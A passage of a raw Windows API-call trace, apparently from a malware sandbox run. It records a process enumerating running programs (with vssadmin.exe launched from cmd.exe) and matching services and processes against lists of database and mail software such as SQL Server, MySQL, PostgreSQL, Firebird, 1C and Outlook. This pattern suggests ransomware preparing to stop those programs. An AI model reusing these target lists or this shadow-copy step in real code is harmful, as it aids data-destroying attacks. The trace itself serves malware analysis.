pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0216.402] lstrlenW (lpString="driver.exe") returned 10 [0216.402] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0216.408] lstrlenW (lpString="spoolsv.exe") returned 11 [0216.408] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0216.412] lstrlenW (lpString="taskhost.exe") returned 12 [0216.412] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.415] lstrlenW (lpString="svchost.exe") returned 11 [0216.415] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0216.416] lstrlenW (lpString="dllhost.exe") returned 11 [0216.416] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0216.418] lstrlenW (lpString="cmd.exe") returned 7 [0216.418] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0216.420] lstrlenW (lpString="reader_sl.exe") returned 13 [0216.420] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0216.424] lstrlenW (lpString="conhost.exe") returned 11 [0216.424] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0216.429] lstrlenW (lpString="vssadmin.exe") returned 12 [0216.799] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0216.802] CloseHandle (hObject=0x384) returned 1 [0216.802] Sleep (dwMilliseconds=0x1f4) [0217.561] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c30b8 [0217.703] EnumServicesStatusExW (in: hSCManager=0x41c30b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0218.040] GetLastError () returned 0xea [0218.040] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xb38) returned 0x41d0998 [0218.040] EnumServicesStatusExW (in: hSCManager=0x41c30b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d0998, cbBufSize=0xb38, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d0998, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0218.343] CloseServiceHandle (hSCObject=0x41c30b8) returned 1 [0218.345] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0218.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0218.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0218.346] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0218.346] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0218.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0218.346] lstrlenW (lpString="AudioSrv") returned 8 [0218.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0218.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0218.346] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0218.346] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0218.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0218.347] lstrlenW (lpString="BFE") returned 3 [0218.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0218.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0218.347] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0218.347] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0218.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0218.347] lstrlenW (lpString="CryptSvc") returned 8 [0218.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0218.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0218.347] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0218.347] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0218.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0218.348] lstrlenW (lpString="CscService") returned 10 [0218.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0218.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0218.348] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0218.348] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0218.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0218.348] lstrlenW (lpString="DcomLaunch") returned 10 [0218.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0218.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0218.348] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0218.349] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0218.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0218.349] lstrlenW (lpString="Dhcp") returned 4 [0218.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0218.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0218.349] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0218.350] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0218.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0218.350] lstrlenW (lpString="Dnscache") returned 8 [0218.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0218.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0218.350] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0218.350] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0218.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0218.350] lstrlenW (lpString="eventlog") returned 8 [0218.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0218.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0218.352] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0218.352] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0218.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0218.352] lstrlenW (lpString="EventSystem") returned 11 [0218.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0218.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0218.352] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0218.352] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0218.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0218.352] lstrlenW (lpString="gpsvc") returned 5 [0218.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0218.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0218.353] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0218.353] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0218.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0218.353] lstrlenW (lpString="LanmanWorkstation") returned 17 [0218.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0218.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0218.353] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0218.353] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0218.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0218.355] lstrlenW (lpString="lmhosts") returned 7 [0218.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0218.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0218.355] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0218.355] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0218.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0218.356] lstrlenW (lpString="MMCSS") returned 5 [0218.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0218.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0218.356] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0218.356] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0218.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0218.356] lstrlenW (lpString="MpsSvc") returned 6 [0218.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0218.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0218.357] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0218.357] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0218.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0218.357] lstrlenW (lpString="nsi") returned 3 [0218.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0218.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0218.357] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0218.357] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0218.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0218.357] lstrlenW (lpString="PlugPlay") returned 8 [0218.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0218.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0218.358] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0218.358] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0218.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0218.358] lstrlenW (lpString="Power") returned 5 [0218.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0218.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0218.358] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0218.359] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0218.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0218.359] lstrlenW (lpString="ProfSvc") returned 7 [0218.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0218.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0218.360] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0218.360] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0218.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0218.360] lstrlenW (lpString="RpcEptMapper") returned 12 [0218.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0218.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0218.360] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0218.360] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0218.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0218.360] lstrlenW (lpString="RpcSs") returned 5 [0218.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0218.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0218.360] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0218.361] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0218.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0218.361] lstrlenW (lpString="SamSs") returned 5 [0218.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0218.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0218.362] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0218.362] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0218.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0218.362] lstrlenW (lpString="Schedule") returned 8 [0218.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0218.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0218.362] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0218.362] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0218.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0218.362] lstrlenW (lpString="SENS") returned 4 [0218.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0218.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0218.363] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0218.363] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0218.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0218.363] lstrlenW (lpString="ShellHWDetection") returned 16 [0218.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0218.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0218.363] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0218.363] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0218.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0218.364] lstrlenW (lpString="Spooler") returned 7 [0218.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0218.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0218.364] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0218.364] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0218.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0218.364] lstrlenW (lpString="Themes") returned 6 [0218.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0218.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0218.364] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0218.364] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0218.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0218.365] lstrlenW (lpString="UxSms") returned 5 [0218.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0218.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0218.366] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0218.366] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0218.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0218.367] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x41d0998 | out: hHeap=0x880000) returned 1 [0218.367] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x384 [0218.373] Process32FirstW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0218.374] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0218.376] lstrlenW (lpString="System") returned 6 [0218.376] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0218.376] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0218.376] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0218.376] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0218.376] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0218.376] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0218.376] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0218.377] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0218.378] lstrlenW (lpString="smss.exe") returned 8 [0218.378] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0218.378] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0218.378] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0218.378] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0218.378] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0218.378] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0218.379] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0218.379] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0218.380] lstrlenW (lpString="csrss.exe") returned 9 [0218.380] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0218.380] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0218.380] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0218.380] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0218.380] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0218.381] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0218.381] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0218.381] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0218.383] lstrlenW (lpString="wininit.exe") returned 11 [0218.383] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0218.383] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0218.383] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0218.795] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0218.796] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0218.796] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0218.796] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0218.796] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0218.797] lstrlenW (lpString="csrss.exe") returned 9 [0218.797] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0218.797] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0218.797] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0218.797] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0218.798] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0218.798] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0218.798] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0218.798] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0218.799] lstrlenW (lpString="winlogon.exe") returned 12 [0218.799] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0218.799] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0218.799] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0218.799] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0218.799] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0218.799] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0218.799] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0218.800] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0218.801] lstrlenW (lpString="services.exe") returned 12 [0218.801] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0218.801] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0218.801] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0218.801] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0218.801] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0218.801] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0218.801] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0218.801] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0218.802] lstrlenW (lpString="lsass.exe") returned 9 [0218.803] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0218.803] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0218.803] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0218.803] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0218.803] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0218.803] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0218.803] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0218.803] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0218.805] lstrlenW (lpString="lsm.exe") returned 7 [0218.805] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0218.805] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0218.805] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0218.805] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0218.805] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0218.805] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0218.805] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0218.805] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, 